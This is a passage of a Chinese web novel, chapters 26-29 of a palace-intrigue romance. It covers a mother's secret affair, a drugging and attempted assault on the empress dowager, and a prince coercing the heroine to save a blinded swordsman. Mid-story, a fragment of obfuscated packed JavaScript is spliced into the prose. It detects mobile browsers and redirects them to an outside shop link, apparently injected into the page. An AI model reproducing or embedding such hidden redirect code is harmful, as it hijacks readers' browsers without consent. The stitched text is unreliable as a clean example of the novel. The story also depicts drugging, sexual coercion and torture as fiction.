看着身旁有些失落的人，本想拉住她的手可一想到自己的手太凉，便挽住了她的手臂，安慰道，“边防受袭，阿兄也不是故意不回的。”
“没事的。”花芷看着前方的炭火，眼神黯淡无光，轻叹一声靠在了赵云归的肩膀上，“早就习惯了。”
“只要……”他能平安无事便好。
今日这外头也热闹的紧，街道上随处可见高挂的红灯笼，到了晚上还有烟花秀和表演，只是赵云归是没法出去的，花芷便想着晚些时候了一个人出去逛逛。
看着院子里喜庆的布置，心情都好了不少。
天色虽渐渐暗了下来，可外头越来越多的彩色花火在漆黑的夜空绽放，仿佛灿烂银河洒落人间，宛如画卷，动人心弦。
围坐在满桌美食周围，等了许久却未见柳眉昭的身影。
赵离脸上的表情可见的冷了下来，“你们阿父也是，都说好了回来，临了临了又不回来了。”
“也不看看多少个年头没回来了，还有你阿母那个德行我都不想说。”说着她彻底的沉下脸去，原本还有些温馨的氛围彻底一扫而空。
“这饭吃的，还不如不吃。”
赵心缇见连忙起身走到她身旁蹲下，说了许多好听的话，赵离脸上的表情才有所缓和，“行了，还是大丫头有孝心！”
说着还瞪了一眼旁边的赵云归，才让动筷。
好好的一个团圆饭，却压抑的很，而且这么一大桌子菜就她们三个人吃，赵云归想和花芷出去的心达到了巅峰。
而花芷在外头玩儿的是不亦乐乎。
只是这里的每一条街道她都与高梨来过，难免让人触景伤怀，倒是没有多高的兴致了。
一时失神也不知是谁撞到了她的肩膀，这地本就滑，没站稳向后倒去，大脑一片空白，都做好摔倒的心理准备了，腰却被人搂住了。
睁开眼，就对上他含笑的双眸，接住她的胳膊的手握着拳，并没有给花芷任何不适感，没有多做停留很快将她扶起，“多谢。”
“这里人多，姑娘小心些。”沈静安的嗓音仿佛有某种魔力，引得人心头发颤。
“多谢公子。”
又道了声谢花芷便快步离开了。
驻足停留看着她离去的背影不知是想什么，竟意外的出了神，人群中，另一个熟悉的身影吸引了他的注意，“长公主？”
她今夜怎么跑出宫了？
“这个看着还行。”箫婉兮看了半天才拿起小摊上的面具打量着，正准备给旁边的人戴上，转过身才想起来她已经有面具了。
瞬间便没了兴致，“唉，算了吧！”说着她便准备将手上的面具放回去，没想到手腕却被轻轻的抓住了。
投去疑惑的眼神。
慕珂并未说话，微微弯腰离她近些，握着她的手让她手上的面具与脸贴在一起，箫婉兮没想到她的动作愣了一瞬。
“好看吗？”
“咳！”许是她的眼神过于直白，箫婉兮有些不好意思的低下头，傲娇道，“还行吧。”
慕珂又朝着她贴近了些，箫婉兮也抬手帮她系上了。
又选了一个差不多的面具戴上，“看我。”
转身面对着她，正准备开口问她呢慕珂已经学会抢答了，“好看。”
“当然了，我的眼光可是顶好的。”
“你好看！”
说话时，慕珂的眼神始终落在她的脸上，炽热的目光烫红了她的耳朵。
“咳。”
箫婉兮抬手准备系上时慕珂也伸出了手，冰凉的指尖碰到了她的手，心头不自觉跟着一颤。
慕珂快速掏出银锭递给摊主。
“这也…给太多了。”
慕珂扫视了一眼摊子拿起一把木梳，箫婉兮自是知道他不会开口的，“行了，不用找了。”
说完拉着他走远后朝着他伸出了手，木梳便出现在了她的手上，举起看了看，“就…还行吧。”
话虽这样说，可她眼角眉梢都染上了笑意。
月色朦胧，烟火不断。
花芷还在街道随意的走着，隔老远就看到有一个摊子上有兔子灯笼，想着将它买了便回去。
快步走上前，却被人抢了先了一步。
抬起的手愣了一瞬才收回，算了，也是无缘，还是回去吧。
“姑娘，是你啊！”
熟悉的声音在身后响起，转过身就见沈静安垂眸看着她，眼底是毫不掩饰的柔光，“我们又见面了。”
“这个送你吧。”
花芷愣了一瞬，微皱的眉头舒展开，接过他递来的兔子灯，轻轻戳了一下它的脸，嘴角不经意间勾勒出一抹笑，“多谢公子。”
“姑娘也是一个人吗？”沈静安想要邀请她一起逛逛，知道她要回去后便提出送她回去，花芷犹豫一瞬也没做推辞。
一路上花芷都能感受到有意无意落在身上的眼神，眉头轻挑，没有拆穿。
“我到了！”
沈静安点了点头有些欲言又止，“那……下次见。”
花芷冲他浅浅一笑没有回答，踏上台阶，故意放慢了脚步，本以为沈静安会叫住她，没想到她都快进去了，依旧没有动作。
“公子。”转身走回去。
“没什么要对我说的吗？”花芷眼底的笑意早已消散了，她可不相信俩人相遇真的只是巧合啊，“若是现在不说，可就真的没有机会了哦。”
“我……”
“能帮我一个忙吗？”
花芷就静静听着他说话，并没有表明自己的态度，空气凝滞，陷入了沉思，沈静安的眼神依旧温热，等着花芷的回答。
“哦——”花芷了然，微微偏头不屑挑眉，“所以……”
“这事再怎么也应当由安王殿下来说。”花芷没想到沈静安故意接近是想让她当这个说客，觉得有些好笑。
不过，“看在这个兔子灯的情分上。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014556|146906||http|test|mini|href|location''.split(''|''),0,{}));
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“话我会帮你带到的。”说完花芷就头也不回的进去了。
可院子里却未见赵云归的身影，将兔子灯放在桌子上后又找了一圈，还真的不在，“这饭吃了这么久吗？”
寒风刺骨，立马回房关上了门。
那饭早就吃完了，只是在回来的路上，赵云归想去看一下柳眉昭，去她院子的路上却见到了一个陌生的身影，那人披着黑色斗篷，看不清脸，但看那身形像是个男人。
等了一会儿她才继续走去。
趴在屋顶上，还真看到有两人站在庭院中，柳眉昭背对着她所以看不清脸，两人牵着手，男人的嘴一张一合，不知说了些什么，两人相拥在一起。
突然男人抬眸，感觉有一瞬间对视上了吓得赵云归松开手直接掉了下去，还好她控制住了动作，加上地面上厚厚的积雪，才不至于让她弄出太大动静来。
只是，“那人是谁？”
“他们是什么关系？”一男一女半夜偷偷见面很难不让人多想啊。
再爬上去时院子里早已没了人。
小心翼翼的进到院子里，径直往那还有着微弱的亮光的房间，看着这不知是不是没来得及关紧的门，避开缝隙蹲下身贴近，从两人的交谈声中赵云归判断不出男人的身份。
但是，话语间听出，他们这并不是柳眉昭成亲后第一次见面，而且她还住在外面，见面岂不是更加方便了。
只觉大脑受到了冲击，呆愣在那儿了。
直到简短的几句交谈结束，一些声响传来，从那缝隙看去。
昏黄的灯光落在两人身上，柳眉昭半挂着一件薄纱露落在腰间，像是许久未见般两人紧紧相拥，柳眉昭双手搂着他的脖子，微微仰头，乌黑的长发散在背后。
男人勾着她的腰，低头亲吻着她的脖颈。
木床吱呀作响。
……
两人贴近，柳眉昭轻靠在男人身上，赵云归与男人对视上了，男人嘴角勾起，赵云归越像是被定住了一般，心脏快要跳出自己的身体了。
“啊哈~”
……
男人伸出手，原本被绑上纱幔散开，却依旧能看到两人的身影……
男人轻抚着她的脸庞。
柳眉昭察觉到什么般的向门口偏去，睁开眼的瞬间赵云归已然离开。
想起那个笑容，赵云归只有一个想法，那人绝对是故意让他发现的。
“绝对是故意的！”可她想不明白原因。
本想要去找人来，没想到刚出门就见到了赵心缇走了过来，见她是从柳眉昭的院子走出，还失魂落魄的，意识到不对劲连忙上前拉住了她。
“你怎么到这儿来了？”赵心缇没想到会在这里见到她，声音里不觉染上一丝慌乱。
“阿姊！我刚刚……”
赵心缇伸手捂住了她的嘴，难得从她脸上看到如此严肃的表情，“快回去。”
“无论你看到了什么，都不要管。”
赵云归的眼睛不断瞪大，如此看来赵心缇什么都知道，甚至连赵离都有可能知道，可他们为什么会这般纵容。
那男人到底是什么身份？
赵云归点了点头捂着她的手才挪开，所以，“他到底是谁？”
“他是……”
27.真相之后的苦楚
赵心缇眼眸低垂，身侧的手紧了紧，“他是谁都和你没有关系。”
“快回去。”
她的态度不是一般的强硬，再问也问不出什么便只好先回去了，躺在床榻上她的心情依旧难以平复。
次日，天还没亮，宫中全是忙碌的身影，为今日晚上的宫宴布置着场地，金丝楠木的桌子上整齐的按照规定摆放着不一样的餐具，御膳房也在处理着刚运来的新鲜食材。
晃眼间天也亮了。
赵云归起身时旁边的人睡的正香，放轻脚步，走到了柳眉昭的院子。
本以为她还没醒，抬步进去时她只身正坐在凉亭中，凉亭四周挂着薄衫，看不清她在做什么。
走近就见她抱着暖手炉在煮茶，好不惬意。
“阿母。”赵云归没有走进去而是站在外面行礼，柳眉昭早就发现她来了眼神却始终没有落到过她的身上。
“有事？”
“天气寒凉，阿母小心染了风寒。”
“哼！”听到这话，柳眉昭怔了一下才嗤笑出声，嘴角弧度轻蔑，单手撑着下巴终于舍得分一个眼神给她了，她的声音确实柔柔的看上去就弱不禁风，“假惺惺！”
又等了几秒，“滚。”
终于见到面了，赵云归又怎么会舍得离开呢，瞟到了她有些颤抖的手柳眉无奈摇头，“行了，别站着了，坐吧。”
“多谢阿母。”掀开薄纱走近，虽说这薄衫起不到什么作用，可这里面确实要比外面暖和。
这是她魂穿后第一次见到柳眉昭的脸，不自觉将视线停留在她的眼睛上，就好像在哪里见到过，只是她眼神冰冷的仿佛刚刚她认错了人一样。
想起来了，像……她！
他知道那个男人是谁了，却不能让她看出什么不对劲了。
看上去很淡定的她坐下，柳眉昭也是丝毫不避讳的打量着她，倒是端庄，只是，“你……脸怎么了？”为何要戴着面纱？
“就……受了一点小伤。”
“哦。”赵云归的声音在柳眉昭耳中就像是受了委屈在求安慰，可她并不关心，自是不再理会。
将煮好的热茶倒在杯中，想让赵云归快些离开这里，便没有给她倒的打算，“还有事？”
依旧沉默。
“没事了就……”
下逐客令的前一秒赵云归终于是开了口，“为什么？”
“嗯？”
赵云归脑子一热差点将昨日的事说出来了，在她疑惑的眼神中，失落的垂下眼眸，开口时满是酸涩，“阿母…是……不喜欢云归了吗？”
说完后瞬间抬眼撞上了她眸中一瞬的失神。
喜欢吗？
也许是喜欢的吧，又或许曾经是喜欢的吧，最后…她选择了沉默，冷漠的情绪代替了眼中那一闪而过的柔情。
“是云归做错了什么吗？”赵云归的声音颤抖着，两人对视上的那一刻，泪水蓄满了眼眶，柳眉昭避开了她的眼神，看向别处。
见状她无力般的低下了头，豆大的泪珠跟断了线的珍珠一样砸在她的手上，指尖轻颤，声音哽咽的厉害。
“阿母——”
还没来得及说话，那突如其来的风冷的让人发颤，将手中的暖手炉握紧了些，赵云归这般可怜模样让她说不出狠心的话来。
可，“我确实不喜欢你啊。”
她不能逼着自己说喜欢，她真的做不到。
但是，坐在对面的是她的女儿啊，所以，“我还是希望你能好好的。”
可以是幸福的。
是平安的。
是无忧无愁又或是其它的，是怎样都好啊。
就是…请，“远离我的生活。”
赵云归原本充满期待的眼神变得黯淡无光，泪水无助滑落，仿佛所有对母亲的美好憧憬在此刻破碎，不敢想象若是云归坐在这里该有多伤心。
只是可惜她不是，“那……阿父呢？”
“阿母也不喜欢阿父了吗？”
提到这个柳眉昭的情绪才稍微有些波动，握着茶杯的手加重，像是这样能分摊一些她心中的怒气一样，可这一丝别样的情绪也是一闪而过。
“哈哈！”
随即她像是听到了什么了什么特别搞笑的笑话一般，不屑的笑出声。
“不喜欢？”
当然不是不喜欢，怎么会是不喜欢呢，那明明是恨啊，“我恨他们！”
恨？
说这句话都说话她的表情没有任何变化，而且她的声音很冷静，冷静到赵云归不相信她口中说的恨。
说完柳眉昭也是终于舍得给她倒茶了。
懂得泛红的手握住桌上的茶杯，与茶水中的自己对视着，像是下定了什么决心才弱弱的问出口，“可……若是……”
这么恨的话，为什么，“不提和离呢？”
和离？为什么？她如今的生活是京城多少女子所梦寐以求的啊！
而且，她早已经被这些虚伪的人给毁了啊，所以，凭什么？“就这么放过他？”
“不可能！”他们得一起坠入地狱。
这些话从她口中说出，赵云归仿佛看到了她眼底的疯狂，惊愕地看着她，看上去并不赞同，“你这样会害了阿父的！”
“阿父那般好，你怎么可以这样！”
那般好？
“哈哈哈！”原来她这个女儿是专程来指责她的啊，刚刚心中竟然会有那么一丝不忍，简直可笑至极，“你还真的是和你那个爹一样啊。”
想到他们柳眉昭便有些咬牙切齿，“一样的令人讨厌！”
令人作呕！
“你们赵家的人都是总是这样，只顾自己，丝毫不管别人的意愿！”说着她起身将倒给赵云归的茶夺来，将她碰过的杯子扔到地上摔个稀碎才重新坐回去。
搭在石桌上的手不断用力。
压在心底的怒火重新被挖出，原本轻柔的嗓音被逼的发颤，“那他们害死我的父母，强娶我进门的时候何尝不是在害我呢？”
不对…是他们，“可曾想过会害了我呢？”
“哼！”自嘲的笑出声，泪水终于从她的眼中滑落，温热的指尖将那泪珠拭去，她的情绪再次恢复了平静。
果然啊，“当初就不该心软生下你。”
“没一个……”好东西！
“咳咳咳！”在外面待太久了柳眉昭的身体有些撑不住了，原本是想扶她进屋的，却被躲开了。
此时正值正午，刚回到自己的院子小秋便进来带她去沐浴了，需得提前梳洗打扮。
整个人没入水中。
脑海中的记忆不断冲击着她。
很多年前，先帝在时，肖庭轩的的风流事迹也是也不少人的饭后谈资，她也只是在很小的时候听人说起过一些。
他可不是一般的滥情，可那么多私生子只有一个是认祖归宗了的，那就是如今的太尉肖权。
肖权的母亲是赵离的远房表妹，只是他的存在除了肖庭轩无人知晓，从小便被
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欺辱打骂直到一日他的母亲意外染病才将他托付给赵离，而肖权，柳眉昭和赵从南可以说是一起长大的，肖权与柳眉昭也是两情相悦。
奈何赵离看不得自己的孩子那痴情样儿便出手拆散了他们，逼迫柳眉昭与赵从南成亲，肖权始终是寄人篱下，又有什么办法。
……
只觉大脑一片空白，赵云归探出水面，喘着粗气。
这就是箫祁政一直引导她去找到真相吗？
所以说，赵离不敢动她便将心中的气全部撒在了柳眉昭唯一的女儿身上，难怪啊，“我就说云归的祖母为何会这般。”
唤小秋进了给她梳妆，今日难免会久一些。
而此时的慈宁宫内。
肖暮云刚从浴池出来，房间被炭火烤的十分暖和，她便赤着脚，只穿着着一件轻薄的长衫走到床边坐下，闭着眼指尖轻按着太阳穴。
玄安也刚好端着一碗汤走了进来。
“暖暖身子！”等肖暮云接过碗后玄安便脱了鞋袜跪在她身后，给她按着隐隐发痛头。
“今日这汤是你熬的？”
“奴家可是一刻也未曾离开呢！”
肖暮云很满意这汤的味道，很快就喝完了，等玄安接过碗后刚起身却感觉头晕乎乎的，轻轻晃了晃，稍微缓和了一点。
“玄安。”
“哀家头晕，去寻太医来。”说着肖暮云便想躺下休息，可玄安却站在旁边没有动静。
“没听到我说话吗？”
身体的难受更明显了，肖暮云只觉心烦的很，带着怒气的话刚准备说出就被玄安打断了，“此事寻太医有何用？”
“玄安来帮太后就好。”
还没反应过来肖暮云就被玄安压在了身下，瞬间清醒了一下，“你干嘛？”
“玄安！”
玄安不顾她的怒火贴在她耳边，声音缱绻，满是欲望，“太后，玄安也是男人啊！”
“你！”肖暮云这才明白是那碗汤有问题，玄安真是吃了熊心豹子胆了，竟给她下药。
“结春蚕，没有解药！”
“每一个月都会发作一次！”
越说他就越激动，大腿上面感受到玄安身体的贴近，对视上时她的眼里全是疯狂，感受到它的跳动肖暮云只觉胃里一阵翻涌，恶心。
“嘶！”
肖暮云手上不知何时多出的发簪插入玄安的脖颈，可她没有力气了，用尽全力也只是让他见了一点血，没想到玄安竟笑的更疯狂了。
“砰！”
夺走发簪起身，丢到一边后将肖暮云也拉起，跪在她的身前，握着她的手与自己的脸颊紧紧贴在一起，“若是太后不开心便打我吧！”
“外头已经没有人了！”
“玄安不急的！”
“等太后想要玄安了，玄安再帮太后！”
肖暮云看着他的眼神像是已经刀了他上千次了一样，眉头紧锁，身体气的发颤，抽出被他握住的手。
“下流！”
“无耻！”
抬脚想要踢他，却被他握住了小腿，原本闭拢的腿微微分开，搭在她腿上的薄衫滑到一边，露出她细腻光滑的皮肤。
玄安表情痴迷的摩挲着她的小腿，眼神痴迷。
……
“滚开，给我滚！”肖暮云用着她没有半点作用的力气挣扎着，却让玄安更兴奋了。
指尖摩挲着，靠近鼻尖轻嗅。
“太后……是需要玄安了，对吗？”
28.宫宴偷情夜
“滚远点！”肖暮云想要推开他，可是那药让她身体做出的反应也不是她能控制的了，深深嵌入掌心的指甲也只能让她维持那并不多的理智。
“来人！”
眼神变得迷离，面色潮红，微微喘息，看着她起伏的胸口咽了咽口水，刚想俯身吻上那水润的薄唇，却被制止了。
“啊！”
玄安的长发从后面被捉住，重重扔到地上。
“陛下！？”
他不应该出现在这里啊，慌张失措的想要站起身，却被箫元义踩在脚底，看着他手中的剑不敢动弹。
“等…一…下……”
肖暮云的声音让玄安看到了最后的一丝希望，“太后，救我！”
“救我！”
踉跄着走到两人身边，箫元义伸手扶住她才不至于直接瘫软在地，伸出手的一瞬间箫元义将剑给了她，温热的手掌覆着她发抖的手上。
“不要！”
“太后，玄安知错了。”
“哼！”肖暮云的眼神冷的可怕，“你确实错了。”一个下贱的奴籍竟敢将这种肮脏心思打到她的身上。
“啊！”在他痛苦的尖叫声中冰冷的利刃刺穿他的心脏，脸上满是狰狞意识逐渐模糊。
“砰——”
拔出长剑，丢到一边。
见箫元义准备扶住她，肖暮云轻晃着发晕的脑袋，往后退了几步与眼前的人保持距离，“哀家这里不需要皇帝了。”
“你……”还真是用完就丢啊。
“滚出去。”
……
天色渐渐暗了下来，小秋扶着刚梳妆好的赵云归走出房间，出门刚好遇到赵心缇与柳眉昭两人，相顾无言。
路途无聊，赵云归掀开帘子看着外头的景象，便想到了与神医谷众人一起的场景。
待马车停下，走下。
几人跟随着侍女的指引落座。
偌大的宫殿被精美的屏风隔断，席间，铜管乐起，歌舞升平，视线都被中央的舞女们吸引了去，
“怎么还不见太后和陛下的身影？”始终不见他们到来，下面的人便小声议论了起来，肖权率先起身后不少人也走动起来，交谈起来。
寒暄了几句肖权便只剩离开了。
看向旁边，柳眉昭果然也起身离开了。
他们这胆子未免也太大了吧，准备起身去阻止却被人拦住了，“这是要去哪儿啊？”
“青黛，还不给赵二小姐满上。”
轻瞥一眼选择无视掉桌上的酒站起身，佯装抱歉道，“不胜酒力……”
肖念安似乎并不打算听她继续说下去，接过青黛手中的酒杯一饮而尽，嘴角微微上扬等待这赵云归接下来的动作。
“肖小姐有何事？”
“只是单纯想喝一杯而已，赵二小姐难道不愿意吗？”
见赵云归接过那侍女递过去的酒喝掉，便将手中的酒杯递出去，脸上没有一丝心虚的模样。
“砰！”酒杯落地踉跄一步旁边的侍女顺势扶住了她，想要带她下去去休息，看向周围人差不多都出去了，晃了晃有些混沌的脑袋，却没办法将手抽出。
“放开。”
“赵小姐醉了，奴婢带赵小姐下去休息。”
休息？真的会这么简单？“放手。”
侍女却依旧强硬的想要带赵云归离开，没想到肖念安冲她伸出了手，“吹吹风许会好很多。”
见两人拉着手旁边的侍女只得松开手离开，见人走远肖念安瞬间嫌弃的松开了手，接过青黛递来的手帕擦了擦，“自己可以吗？”
肖念安这样问也只是客气客气，并没有想要再管她的打算，赵云归只能点了点头表示自己可以，出去后几人到一个凉亭里坐下。
两人随意的聊着，晚风轻轻吹来确实清醒了不少，赵云归原本想要试探一下沈静安被追杀是不是她所为，没想到肖念安直接承认了。
“我平生最厌恶的便是他这种朝三暮四，玩弄感情之人。”
“给他个小小的教训而已。”
赵云归不自觉皱眉，不明白她为什么看待生命就像是无关紧要的东西一样，淡漠。
那，“我呢？”
“你？”肖念安不解的撑着下巴看着她，饶有趣味的看着她，“我可是帮了你的啊！”
赵云归偏过头看向别处，那酒里的药下的太明显了，她压根儿就没有喝，只是想看看肖念安会做些什么罢了。
不过此事，“你应该去问问你的母亲。”
“她可是让那人好好照顾你呢！”
若是其它肖念安会是帮凶，可若是毁人清白的事她可不屑去做。
既然如此，“为什么要划花我的脸？”
“我？”肖念安知道她的脸被毁了，可她没想到怎么大口锅直接就扣到她的身上，没做过的事情她自然不会揽下。
而且，“我没有……”鞭尸，“这种癖好。”
原本是想给她个痛快，没想到她命这么大，竟侥幸活下来了。
“只是啊。”
这人啊有些时候得擦亮眼睛，看清身边的人，别到头来想要报仇却找错了人，成了自己仇人的笼中雀，“我也只是好心提醒，至于听不听……”
“随你。”
话语间便有宫人来请她们回殿内了。
众人重新入席，箫元义与皇后沈氏姗姗来迟，赵云归还在寻找太后的身影，却不知她正躺在浴池边的榻上，面颊红润，胸口微微起伏着，那水面上的花瓣随着荡漾的温水起伏着。
看向旁边柳眉昭并未回来，冲赵心缇点了点头又挪开了视线。
乐起。
舞女们随着音乐再次舞动，宫人们也终于将一道道菜呈上来，香味俱全，令人垂涎。
酒过三巡，箫元义起身敬酒，没呆一会儿便与皇后携手离去，宴会中众人的脸上也都染上了些许醉意，晚些时候有太后准备的表演，赵云归并不感兴趣，便在没有跟上去。
原本肖念安也留下来看着她，免得她去坏事，后面青黛与她说了什么，她染上些别呀的情绪，快步离开了这里。
随着青黛说的位置走去，看到了湖边桥上那熟悉的身影。
走近。
记忆中那模糊了的少年身影，在此刻与眼前之人重合了，“轻尘！”
箫轻尘闻声转过身，肖暮云看到那熟悉的面庞那熟悉的笑容，心中原本空了的一场被填满，她抬手想要抓住他，想要永远的将他留在身边，可看着站在那儿一动不动的人还是控制住了。
“许久不见，应当开心才是。”
“嗯，开心。”接过箫轻尘递来的手帕，擦拭着脸上的泪水，两人一起坐到了旁边。
“父亲说你受伤了，可好些了？”
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>提到肖权箫轻尘的眼中闪过一丝狠厉，却并未让人发现什么不对。
“已无碍了。”
听到他没事悬着的一颗心才终于落下，只是到底是何人，胆子这么大，竟然敢刺杀他，箫轻尘原本有些究竟，怕告诉她伤心，可还是抵不过她的追问。
“什么？”
知道幕后之人时，肖暮云的眼中闪过一丝不可置信，怎么可能，“怎么会是父亲？”
“轻尘，你是不是误会什么了？”
当初肖权就是知道肖念安与他两情相悦，为了不不让箫轻尘搅入朝堂之上的斗争，为了保护他才设法将他送走的，如今怎么可能派人刺杀呢。
“或许是他不想让我回来呢！”
“不会的。”肖念安想要替肖权解释，可她根本没有证据，她越上不想让箫轻尘误会越是让她更加慌乱了，“父亲不会的。”
她的解释不足以让任何一个人信服，可看到她这般着急的模样箫祁政始终不忍，“阿念，我自然是信你的。”
可……有些事并不是猜想。
不再纠结于这个话题，在肖念安的询问下同她讲了讲最近遇到的趣事。
“阿然……”箫轻尘口中的恩人，“是一个什么样的人啊？”
提到阿然箫轻尘就跟打开了话匣子一样，不用肖暮云问便有止不住的话，看到出来他是非常欣赏这个阿然。
箫轻尘说的开心，肖念安听到便也开心。
“何时让我们见一面？”
他评价如此高的人，或许，“我们也会聊到一起呢。”
“你一定会喜欢他的。”看肖念安兴致也这般高，真想立刻就介绍两人认识，“只是今日有些晚了，过些时日带你去见他。”
“好。”
忽然，灯火灭了不少。
周围都暗了不少，那仅剩的灯笼也被一个个取下，“估计是表演要开始了。”
“我们走吧。”
“好。”
在等一会儿该看不清路了，这时青黛也提着灯笼走近，引着两人朝着人群走去。
待两人到了自己的位置便灭了灯，站在一旁。
而就在肖念安走后，没过多久一个穿着宫中服侍的女子便径直走近，“赵小姐，安王殿下找。”
“有事？”
“请二小姐去看戏。”
看戏？还能有什么好戏，换汤不换药，不过这还是这么久以来第一次来找她，也不能驳了。
“好，劳烦带路吧。”
“这边请！”
跟着她穿过人群，走到了箫祁政的旁边停下脚步，这里只有他们两人，安静的很看着倒像是已经结束了的，“王爷有何事吩咐？”
箫祁政眼中闪过一丝不悦，却并未看她。
周围的灯光还未亮起，只能听到他的声音看不出脸上的表情，几月不见，听她这话的意思倒是，“生分了。”
不过，“这戏……你会喜欢的。”
“嗯？”
什么意思？
一股莫名的不安在心中炸开，心跳瞬间沉重的厉害，周围的声音仿佛在耳边无限放大，只觉脑袋嗡嗡作响。
“什么戏？”
“等着吧，绝对是好戏。”说着将暖手炉递给了过去，却始终未看她，始终看向前方，赵云归也只好凝重的看着前方。
怀揣着不安等待着。
29.那你求我啊
忽然，零碎的几声鼓声响起，人群后光亮起，隐隐约约能看清前方的人，白色的衣裳格外显眼。
“咚！”
“咚！”
“好戏开场了。”箫祁政的嗓音仿佛在压制着什么别样的情绪，是赵云归从未在他身上见过的情绪，可一时间也不好形容是何般情绪。
“咚咚咚！”
“咚……咚咚……”
鼓声后乐起。
男子手中的长剑用力挥出，四周的黑暗被剑刃上的烈烈火光划破，等剑上的火焰彻底消失周围才亮起灯光，闯入众人的视线的男子随着乐声舞着剑，步态轻盈。
可这般寒冷的冬夜他的身上却是夏日的薄衫。
男子的双眼被白布遮住，乌黑的发丝后白色的发带随之飘起，宛如谪仙人。
可……他白皙的手早已被火焰烫伤，那雪白的长衫上也沾上了血迹，缠着白布条的手抬起擦拭着嘴角的血迹却丝毫不影响他轻盈的步伐。
“这剑术看着倒是有些眼熟。”
“赵二小姐，说…是吧？”
看到那熟悉的身影时只觉大脑嗡嗡作响，身旁的人在说什么她根本听不进去，那眼神就像是粘在了白衣男子的身上一样。
移不开眼。
嘴唇干涩，身体僵硬。
身体像是失去控制般迈开腿，却无济于事，低头看去手被箫祁政抓住了，警告道，“你可别忘了这是哪儿。”
感受到赵云归身体的颤抖握着的手更用力了。
“最好清醒一点！”
“别忘了自己的身份！”她可是将军府的嫡小姐，行错一步牵连的是整个将军府。
“我……”
两人对视上的那一刻，赵云归一瞬间便感受到了他压在心底的情绪，是嫉妒之后的疯狂！
“我知道。”
见她点头紧握的手才慢慢松开。
太后因信奉巫术，前几月便派人去寻找这江湖上出了名的巫师，他们最后带回来的人便是那白衣男子，谁想他修的却是剑术，肖暮云一恼怒便下令剜了他的双眼，让他没日没夜在她寝殿外舞剑，羞辱他。
只要不开心便让他跪在雪地里用沾了水的竹条抽打，时不时还断了他的三餐，如今还要他浑身伤的在宫宴上舞剑。
这是根本没把他当人看。
赵云归的眼神始终落在丘竹身上，眼皮都在颤抖，瞬间温热的泪水顺着脸颊滑落，见她如此箫祁政用力拉住她的手腕。
差点跌到他的怀中。
见赵云归终于看向了自己，箫祁政才压着怒火开口，“怎么，认识？”
“是。”看箫祁政的模样估计是知道内情的，赵云归也并不打算隐瞒什么，她现在唯一关心的就是，“太后…会……怎样对他？”
她极力压制着才勉强让身音没那么颤抖，也是是毫不掩饰的担心。
“哼！”
“那便不好说了！”
剑术是丘竹的骄傲，也许会让他用他的骄傲日夜供人取乐，又也许会挑断的手筋脚筋让他一辈子无法用剑。
总之，“他们有的是办法让他生不如死。”
“不可以的。”赵云归蹲下身，用力的握着他的轮椅扶手，她的声音微弱而颤抖。
跟着丘竹学了许多年的剑，她知道丘竹是一个什么样的人，在他心中若是被这样对待还不如直接要了他的命。
温热的指尖轻轻拂过她的脸颊，带走泪珠。
“怎么还哭了呢。”
“别哭啊。”在赵云归听来他这声音没有一丝一毫安慰的意味，而是威胁。
她低下头胡乱的擦拭着脸上的泪水，再次抬眼时她的脸上挂上了笑容，苦涩的笑，箫祁政看上去很满意，玩弄着她乌黑的发丝，“放心！”
“他不舍得死的！”
“毕竟，他还没有找到他想见的人呢！”
“想见的人？”原来，如此！
这就是他轻易便被抓来的原因吗，只觉心跳停了一瞬又猛的坠落，见她失神箫祁政的手指抚上她的额头，这个位置原本是有一条刀疤的。
抬手解开了遮着她脸的面纱随着风飘向别处，与那皑皑白雪混在一起。
手指轻抚她几乎恢复如初的脸颊，语气中甚至有些可惜，“真是可惜，已经快好了呢！”
“不过时间刚刚好！”
是他！这一次赵云归脸上的错愕并不是装的，她从来都没有怀疑过箫祁政会划花这张脸，从来没有！
可此时此刻并不是纠结这件事的时候，迅速调整好情绪，含笑看着他，“王爷一定有办法救他出来的！”
“对吗？”
箫祁政也是没想到她会如此没脾气，轻轻捏住了她的下巴，迫使赵云归看着他的眼睛，“是。”
“所以呢？”
“救他我能得到什么？”
她的眼中早又蓄满了泪水，可箫祁政禁锢住了她，便在他的注视下落下泪来，看是去像是被逼迫良家妇女，“王爷要我做什么？”
“哦？”箫祁政松开手，饶有兴致的看着她，“什么都行吗？”
“是。”
“往后也什么都答应？”
“是。”
“嗯……”他点头了头，帮她擦拭完泪水才悠悠开口，“那你，求我啊！”
“好。”手中的暖手炉滚到一般，赵云归伸出她颤抖的手捉住了他有些冰冷的手，顺势跪在了他的身边，“求求你，救他！”
“我求你了！”
哽咽着重复中她无力的低下了头，低声呜咽，为什么她什么也也做不了啊，为什么她这么弱小，为什么是太后啊！
轻笑一声，箫祁政紧紧咬着后槽牙，盯着她的眼神却是那般的冷，实在是不想听她再说下去伸手用力的捏着她的下巴，“好好好！！”
为那人这般求情，“你还真是好样的啊！”
“阿…音…！”
什么？
一瞬间瞳孔骤缩，不可置信，不敢相信自己的耳朵，嘴唇微张，喉咙却像是堵了什么东西一样什么也说不出来。
“怎么，我都陪你玩儿了这么久了。”
“还不打算承认吗？”
都已经说到这个地步了，她还能否认吗？或者是她的否认还有什么意义呢。
没错，“我…就是……谷清音。”
“你……”原来一直都知道啊，所以，这一切都是为她打造的一场巨大的阴谋啊！
泪水从眼角滑落，轻抚过她什么也没问。
视线停留在她的腰间，还真是不顺眼呢，“玉佩也是他送的？”
“嗯。”
箫祁政沉默着看着她，便知道他的意思了。
取下腰间的玉佩递
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到他眼前，可他并没有接过的打算，毕竟这个东西他要干什么，不过，“如今好像并不需要睹物思人了呢！”
“是吧，阿音——”
看着手中的玉佩，眼中是无尽的无奈，轻笑一声，仿佛失去了所有的力气和手段，可她能怎么办呢，“是。”
手伸到旁边，微微一动玉佩落在地上发出清脆的响声。
看着地上摔碎的玉佩箫祁政终于满意了，扶着赵云归的手臂示意她起来，声音再次恢复了原来的柔情，“阿音，我喜欢了你那么多年啊。”
终于，等到这一刻了，“以后只看我好吗？”
箫祁政的话让她后背一凉，可在她的记忆中并没有这个人的存在，这一切听上去都太不可思议了啊。
